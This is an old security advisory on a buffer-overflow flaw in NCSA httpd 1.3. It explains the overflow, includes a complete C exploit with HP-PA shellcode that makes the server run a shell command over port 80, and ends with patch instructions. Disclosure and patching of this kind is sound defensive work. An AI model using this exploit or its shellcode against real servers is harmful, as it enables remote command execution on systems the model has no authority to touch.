COMMAND

    NCSA httpd version 1.3 and earlier

PROBLEM

    Internet users  can obtain  remote access  on the  machine as  the
    owner of the  http daemon. The  owner of the  httpd is set  by the
    User  Directive  in  the  server  configuration  file  httpd.conf.

    There is no good reason to run a version of NCSA earlier than 1.5.
    Upgrade to the latest version.

    Telnet to the http port and  use the http HEAD method to  find out
    the server type and version.  If the server signature is  NCSA/1.3
    or earlier and  a specific patch  has not been  installed the http
    server is vulnerable.

    ns0: {21} telnet www.netcraft.com 80
    Trying 194.72.238.5...
    Connected to www.netcraft.com.
    Escape character is '^]'.
    HEAD / HTTP/1.0

    HTTP/1.0 200 Document follows
    Date: Thu, 28 Dec 1995 17:08:55 GMT
    Server: NCSA/1.5

    The vulnerability  is triggered  by a  buffer overflow  condition,
    whereupon  the  server  can   be  coerced  into  executing   other
    programs, such as a Unix shell.

    Actually, this bug is similar  to the bug in fingerd  exploited by
    the internet worm.  The HTTPD reads  a maximum of  8192 characters
    when accepting a request from  port 80. When parsing the  URL part
    of the request a buffer with  a size of 256 characters is  used to
    prepend  the  document  root  (function strsubfirst(), called from
    translate_name()). Thus we  are able to  overwrite the data  after
    the buffer. Since the stack grows towards higher addresses on  the
    HP-PA, we are able to  overwrite the return pointer which  is used
    to return from  the strcpy() call  in strsubfirst(). The  strcpy()
    overwrites  its  own  return  pointer.  On  systems  with  a stack
    growing the  other direction,  we'd have  to overwrite  the return
    pointer of strsubfirst().

    I've implemented  this attack  for the  precompiled HP-PA  release
    provided by the NCSA. To adapt it to custom versions, you have  to
    know  the  address  of  the  buffer  used by strsubfirst() and the
    offset of the return pointer.  One might adapt the program  to try
    'probable' values, i. e. values  within a certain range, if  these
    parameters  are  not  known.  I've  tried  'cc' and 'gcc' with and
    without optimization  and the  parameters didn't  vary to  much. A
    generic attack using brute force should therefore be possible.

    This is the program  I've used to break  into our WWW server.  The
    assembly code  could have  been more  compact, but  I had to avoid
    0x00  bytes.  The  program  creates  a  file named 'GOTCHA' in the
    '/tmp' directory.

--- cut here ---
/* hc.c */

/* This program demonstrates a vulnerability in the NCSA httpd 1.3 */
/* We make use of a buffer overflow in order to execute commands */
/* on a HP host running the precompiled daemon provided by the NCSA. */

/* The problem is that the array 'tmp' in the function 'strsubfirst()' */
/* has a length of MAX_STRING_LEN. However, the function can be passed */
/* arguments with up to HUGE_STRING_LEN characters. */

/* The output of this program can be pasted into a telnet session */
/* to port 80 of the host to be attacked. */
/* Alternatively simply use 'hc | telnet www.victim.com 80'.

/* Written by Thomas Lopatic, lopatic@informatik.uni-muenchen.de */

#include <stdio.h>
#include <string.h>

/* Instead of defining these macros we could try all probable values */
/* in case the attacked host does not run the precompiled httpd. */

/* The address of 'char tmp[MAX_STRING_LEN]' in the precompiled httpd. */
#define TMPVAR 0x7b03df80

/* This is an offset from TMPVAR. The return pointer for the call to */
/* strcpy() is stored here (in the precompiled httpd). */
#define RPOFF 0x160

/* Byte order of the attacked HP is big endian. */
#define SHIFT1 24
#define SHIFT2 16
#define SHIFT3 8
#define SHIFT4 0

/* Output the lower nibble of i */
char d2a (i)
int i;
{
	i &= 0xf;
	return (i > 9) ? (i + 'A' - 10) : (i + '0');
}

/* This is the short assembly language program which will be executed. */
char prog[] = {
	0x34, 0x59, 0x01, 0x02, 0x34, 0x5a, 0x01, 0x32,
	0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x01,
	0x63, 0x40, 0x3f, 0xff, 0x34, 0x5a, 0x01, 0x38,
	0x63, 0x40, 0x3f, 0x35,
	0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x09,
	0x63, 0x40, 0x3f, 0xff, 0x0b, 0x5a, 0x02, 0x9a,
	0x6b, 0x3a, 0x3f, 0x11, 0x34, 0x5a, 0x01, 0x22,
	0x37, 0x5a, 0x3e, 0xf9, 0x6f, 0x3a, 0x3e, 0xf9,
	0x20, 0x20, 0x08, 0x01, 0x34, 0x16, 0x01, 0x1e,
	0xe4, 0x20, 0xe0, 0x08, 0x36, 0xd6, 0x3e, 0xf9,
	0x0b, 0x5a, 0x02, 0x9a, 0x20, 0x20, 0x08, 0x01,
	0x34, 0x16, 0x01, 0x0a, 0xe4, 0x20, 0xe0, 0x08,
	0x36, 0xd6, 0x3e, 0xf9, 0xe8, 0x5f, 0x1f, 0x35,
	0x0b, 0x5a, 0x02, 0x9a,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x00
};

int main ()
{
	char buffer[400];
	int i;

	/* Copy program, append the arguments. The '$'s are replaced */
	/* with 0x00s by the assembly language routine. */
	strcpy (buffer, prog);
	strcat (buffer, "/bin/sh$");
	strcat (buffer, "-c$");
	/* Length of the argument must be exactly 30 characters. */
	/* Otherwise the '$' will not be replaced correctly. */
/*      strcat (buffer, "0123456789012345678901234567890123456789$"); */
	strcat (buffer, "echo GOTCHA >/tmp/GOTCHA                $");

	/* Output the http request. */
	printf ("GET ");
	/* Output the program. */
	for (i = 0; i<strlen (buffer); i++)
		printf ("%%%c%c", d2a (buffer[i] >> 4), d2a (buffer[i]));
	/* Fill the buffer until we have reached the memory location */
	/* which contains the return pointer for strcmp(). */
	for (i = strlen (buffer); i<RPOFF; i++)
		printf ("X");
	/* Output the entry point for our program. strcmp() will */
	/* 'return' into our small assembly program. */
	printf ("%%%c%c%%%c%c%%%c%c%%%c%c\n",
		d2a ((TMPVAR + 0x60) >> (SHIFT1 + 4)),
		d2a ((TMPVAR + 0x60) >> SHIFT1),
		d2a ((TMPVAR + 0x60) >> (SHIFT2 + 4)),
		d2a ((TMPVAR + 0x60) >> SHIFT2),
		d2a ((TMPVAR + 0x60) >> (SHIFT3 + 4)),
		d2a ((TMPVAR + 0x60) >> SHIFT3),
		d2a ((TMPVAR + 0x60) >> (SHIFT4 + 4)),
		d2a ((TMPVAR + 0x60) >> SHIFT4));

	return 0;
}
--- cut here ---

SOLUTION

    The  advice  given  in  Cert  Advisory  CA-95:04  is misleading as
    two alternative patches  are presented as  a single solution.  The
    material in  Step 1  of the  Cert advisory  should be  ignored. If
    you  intend  to  patch  your  existing server rather than upgrade,
    simply follow the instructions in Step 2 of their advisory.   Cert
    issued an update to this effect on 15th March 1995.

    Step 1:

    In the file httpd.h, change the string length definitions from:

    /* The default string lengths */
    #define MAX_STRING_LEN 256
    #define HUGE_STRING_LEN 8192

    to:

    /* The default string lengths */
    #define HUGE_STRING_LEN 8192
    #define MAX_STRING_LEN  HUGE_STRING_LEN

    The  NSCA  httpd  team  point  out  that  there  are  154 variable
    declarations which use MAX_STRING_LEN in the server, and  changing
    them from 256 to  8192 increases virtual memory  requirements very
    significantly. However, there is no further vulnerability  arising
    from  strings  exceeding  the  larger  buffer  size as 8192 is the
    maximum number of characters read  by the server in response  to a
    request.